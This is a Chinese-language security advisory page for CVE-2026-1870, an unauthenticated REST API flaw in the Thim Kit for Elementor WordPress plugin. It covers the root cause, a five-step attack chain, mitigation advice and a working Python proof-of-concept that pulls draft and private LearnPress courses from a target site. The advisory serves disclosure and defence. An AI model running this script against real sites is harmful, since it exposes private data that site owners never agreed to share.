IPBUF安全漏洞报告
English
CVE-2026-1870 CVSS 5.3 中危

CVE-2026-1870 Thim Kit for Elementor插件未授权敏感信息泄露漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-1870
漏洞类型
未授权访问/敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Thim Kit for Elementor – Pre-built Templates & Widgets for Elementor (WordPress插件)

相关标签

CVE-2026-1870WordPress插件漏洞未授权访问敏感信息泄露REST API安全Broken Access ControlLearnPressThim Kit for Elementor信息泄露

漏洞概述

Thim Kit for Elementor是WordPress平台上一款广受欢迎的Elementor页面构建器扩展插件,提供了大量预制模板和小组件。该插件在1.3.7及之前版本中存在严重的安全漏洞:由于REST API端点`thim-ekit/archive-course/get-courses`缺少权限验证和输入校验,攻击者无需任何认证即可通过构造特定的`post_status`参数,访问WordPress中设置为"私有"或"草稿"状态的LearnPress课程内容。这可能导致敏感课程材料、内部课程结构、定价信息以及未公开的教育资源被非法获取。该漏洞无需用户交互,攻击门槛低,危害范围覆盖所有使用该插件且启用了课程功能的WordPress站点。

技术细节

漏洞根因在于Thim Kit for Elementor插件注册了一个REST API端点`thim-ekit/archive-course/get-courses`,该端点对应的回调函数未对请求者进行身份验证和权限校验。攻击者仅需构造一个带有`post_status`参数的GET请求(如指定为`draft`或`private`),即可绕过正常的访问控制机制,迫使WordPress数据库返回本应受到保护的课程数据。该接口直接透传用户可控的`post_status`参数至WordPress的WP_Query查询,未做任何清理或权限判断。在WordPress默认架构中,普通访客(未登录用户)无权查看私有或草稿状态的文章,但该REST端点绕过了这一保护。由于REST API返回完整的课程数据(包括标题、描述、课程内容等),攻击者可批量枚举站点所有私有课程信息,用于进一步的社会工程攻击或情报收集。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标WordPress站点是否安装了Thim Kit for Elementor插件,可通过检查/wp-content/plugins/目录或插件页面特征进行确认。
STEP 2
步骤2: 构造恶意请求
攻击者向目标站点的REST API端点/wp-json/thim-ekit/archive-course/get-courses发送GET请求,在params_url中设置post_status为'draft'或'private',同时指定post_type为'lp_course'。
STEP 3
步骤3: 绕过访问控制
由于端点缺少权限验证,请求直接到达处理函数,WordPress返回本应仅对登录管理员可见的私有或草稿课程数据,绕过了正常的访问控制机制。
STEP 4
步骤4: 数据提取与利用
攻击者解析REST API的JSON响应,提取课程标题、描述、定价、内部内容等敏感信息,可用于竞争情报分析、社会工程或进一步攻击。
STEP 5
步骤5: 批量枚举
通过调整posts_per_page和分页参数,攻击者可遍历站点所有私有/草稿课程,实现大规模敏感数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target = input("Enter target URL (e.g., https://example.com): ").rstrip('/') endpoint = "/wp-json/thim-ekit/archive-course/get-courses" # PoC: Query draft/private LearnPress course content without authentication payloads = { "draft": { "params_url": { "post_status": "draft", "posts_per_page": 10, "post_type": "lp_course" } }, "private": { "params_url": { "post_status": "private", "posts_per_page": 10, "post_type": "lp_course" } } } print(f"[*] Target: {target}") print(f"[*] Endpoint: {endpoint}") print("=" * 60) for status_name, params in payloads.items(): print(f"\n[+] Testing post_status={status_name}...") url = f"{target}{endpoint}" try: resp = requests.get(url, params=params, timeout=10) print(f" Status Code: {resp.status_code}") if resp.status_code == 200: data = resp.json() if data.get("data"): print(f" [!] Vulnerable! Found {len(data.get('data', []))} course(s):") for course in data.get("data", []): print(f" - ID: {course.get('id')}, Title: {course.get('title', {}).get('rendered', 'N/A')}") else: print(f" [-] No courses returned for status: {status_name}") else: print(f" [-] Unexpected response: {resp.text[:200]}") except Exception as e: print(f" [!] Error: {e}") print("\n[*] PoC completed.")

影响范围

Thim Kit for Elementor (WordPress插件) <= 1.3.7

防御指南

临时缓解措施
如果无法立即升级插件,可通过在主题的functions.php中添加临时过滤器,禁止未授权用户通过REST API查询非公开状态的lp_course类型文章,或者使用WordPress安全插件限制REST API的公开访问权限。同时建议临时禁用LearnPress课程功能,待插件更新后再恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表